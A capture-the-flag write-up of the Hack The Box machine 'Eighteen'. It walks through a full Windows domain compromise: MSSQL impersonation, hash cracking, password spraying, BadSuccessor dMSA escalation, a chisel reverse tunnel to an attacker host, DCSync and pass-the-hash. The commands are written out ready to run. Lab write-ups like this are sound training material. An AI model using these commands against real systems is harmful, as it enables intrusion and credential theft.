Eighteen – Hack The Box Writeup
Eighteen is a Easy Windows AD box that chains classic MSSQL abuse with modern Windows Server 2025 dMSA exploitation (the famous BadSuccessor technique, CVE-2025-53779).
Provided credentials
Username: kevin
Password: iNa2we6haRj2gaw!
Valid on MSSQL.
1. Initial Reconnaissance
nmap -p- --min-rate 1000 -sV -sC -A -oN nmap $ipKey ports:
PORT STATE SERVICE VERSION80/tcp open http Microsoft IIS httpd 10.0|_http-title: Did not follow redirect to http://eighteen.htb/|_http-server-header: Microsoft-IIS/10.01433/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RC0+| ms-sql-info:| $ip:1433:| Version:| name: Microsoft SQL Server 2022 RC0+| number: 16.00.1000.00| Product: Microsoft SQL Server 2022| Service pack level: RC0| Post-SP patches applied: true|_ TCP port: 1433| ms-sql-ntlm-info:| $ip:1433:| Target_Name: EIGHTEEN| NetBIOS_Domain_Name: EIGHTEEN| NetBIOS_Computer_Name: DC01| DNS_Domain_Name: eighteen.htb| DNS_Computer_Name: DC01.eighteen.htb| DNS_Tree_Name: eighteen.htb|_ Product_Version: 10.0.26100|_ssl-date: 2025-11-16T20:00:37+00:00; +7h00m40s from scanner time.| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback| Not valid before: 2025-11-16T19:51:00|_Not valid after: 2055-11-16T19:51:005985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-title: Not Found|_http-server-header: Microsoft-HTTPAPI/2.0Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed portDevice type: general purposeRunning (JUST GUESSING): Microsoft Windows 2022 (88%)Aggressive OS guesses: Microsoft Windows Server 2022 (88%)No exact OS matches for host (test conditions non-ideal).Network Distance: 2 hopsService Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:|_clock-skew: mean: 7h00m39s, deviation: 0s, median: 7h00m39s2. MSSQL Enumeration & Impersonation
RID brute with nxc
nxc mssql DC01.eighteen.htb -u kevin -p 'iNa2we6haRj2gaw!' --local-auth --rid-brute
Save users to user.txt

Connect with impacket:
impacket-mssqlclient kevin:iNa2we6haRj2gaw\\!@$ipCheck server permissions:
SELECT * FROM sys.server_permissionsKey finding → principal_id 268 can IMPERSONATE login 267!

Resolve names:
SELECT principal_id, name FROM sys.server_principals WHERE principal_id IN (267,268);
→ appdev (267) can be impersonated by our login (268)
List databases → interesting one: financial_planner, but we donot have permission to access it.

Impersonate:
EXECUTE AS LOGIN = 'appdev';

Now that we have the appdev user, we can access the financial_planner database, as this user has the necessary permissions.
We then dumped all entries from the users table using the following query:
SELECT * FROM users;
3. PBKDF2 Hash Extraction & Cracking
Found script: https://gist.github.com/marcos-venicius/858061c6c5709ad1a2f0e305b65a27f8
Convert PBKDF2 format for hashcat:
python3 pkdf2_to_hashcat.py 'pbkdf2:sha256:600000$AMtzteQIG7yAbZIa$0673ad90a0b4afb19d662336f0fce3a9edd0b7b19193717be28ce4d66c887133'
Crack with hashcat:
hashcat -a 0 -m 10900 hash.txt ./rock.txt→ Password: iloveyou1

4. Foothold via WinRM
Spray cracked password against users that we have saved from rid-brute:
nxc winrm DC01.eighteen.htb -u user.txt -p iloveyou1 --continue-on-success→ adam.scott valid!

Evil-WinRM login:
evil-winrm -i 10.10.11.95 -u adam.scott -p iloveyou1
Group membership: Member of IT group.
5. Internal Enumeration – ACL Abuse
net group "IT" /domainnet user bob.brown /domainwhoami /groupsUpload & load PowerView.ps1:
Find-InterestingDomainAclKey finding → IT group has CreateChild permissions on OU=Staff,DC=eighteen,DC=htb
→ Vulnerable to BadSuccessor (CVE-2025-53779) — dMSA privilege escalation!

Reference: https://github.com/akamai/BadSuccessor
CVE Details: Windows Kerberos EoP via dMSA abuse (patched Aug 2025, but box is vulnerable)
6. BadSuccessor Exploitation
Run BadSuccessor tool:
BadSuccessor -mode exploit -Path "OU=Staff,DC=eighteen,DC=htb" -Name "nory_dmsa" -DelegatedAdmin "adam.scott" -DelegateTarget "Administrator" -domain "eighteen.htb"→ Creates exploitable dMSA linked to Administrator!

7. SOCKS Proxy & Ticket Harvesting
Set up reverse tunnel with chisel:
Victim → attacker:
.\chisel.exe client $attacker_ip:8080 R:1080:socks
Attacker:
chisel server -p 8080 --reverse

Update proxychains.conf:

Get ST (service ticket) as nory_dmsa$ (DMSA machine account):
proxychains getST.py eighteen.htb/adam.scott:iloveyou1 -impersonate "nory_dmsa$" -dc-ip 10.10.11.95 -self -dmsa
8. DCSync as Administrator
KRB5CCNAME=bad_DMSA$.ccache proxychains impacket-secretsdump -k -no-pass dc01.eighteen.htb -just-dcuser Administrator -dc-ip 10.10.11.95→ Administrator NTLM hash dumped!

9. SYSTEM / Root Flag
evil-winrm -u administrator -H 0b133be956bfaddf9cea56701affddec -i 10.10.11.95Now we can see the root.txt

Machine pwned! ✓

Attack Chain Summary
kevin creds → MSSQL → impersonate appdev → PBKDF2 hash → crack → adam.scott foothold (IT group) ↓Find CreateChild on OU=Staff → BadSuccessor (CVE-2025-53779) → create dMSA linked to Administrator ↓Chisel SOCKS → getST.py (DMSA impersonation) → service ticket as nory_dmsa$ ↓DCSync as Administrator → hash → PTH → evil-winrm SYSTEMMain vulns/misconfigs:
- MSSQL impersonation chain
- Weak PBKDF2 password
- Dangerous CreateChild delegation on OU
- Unpatched BadSuccessor dMSA abuse (CVE-2025-53779)
Great box — perfect mix of classic and cutting-edge AD attacks!
Happy hacking! ༼ つ ◕_◕ ༽つ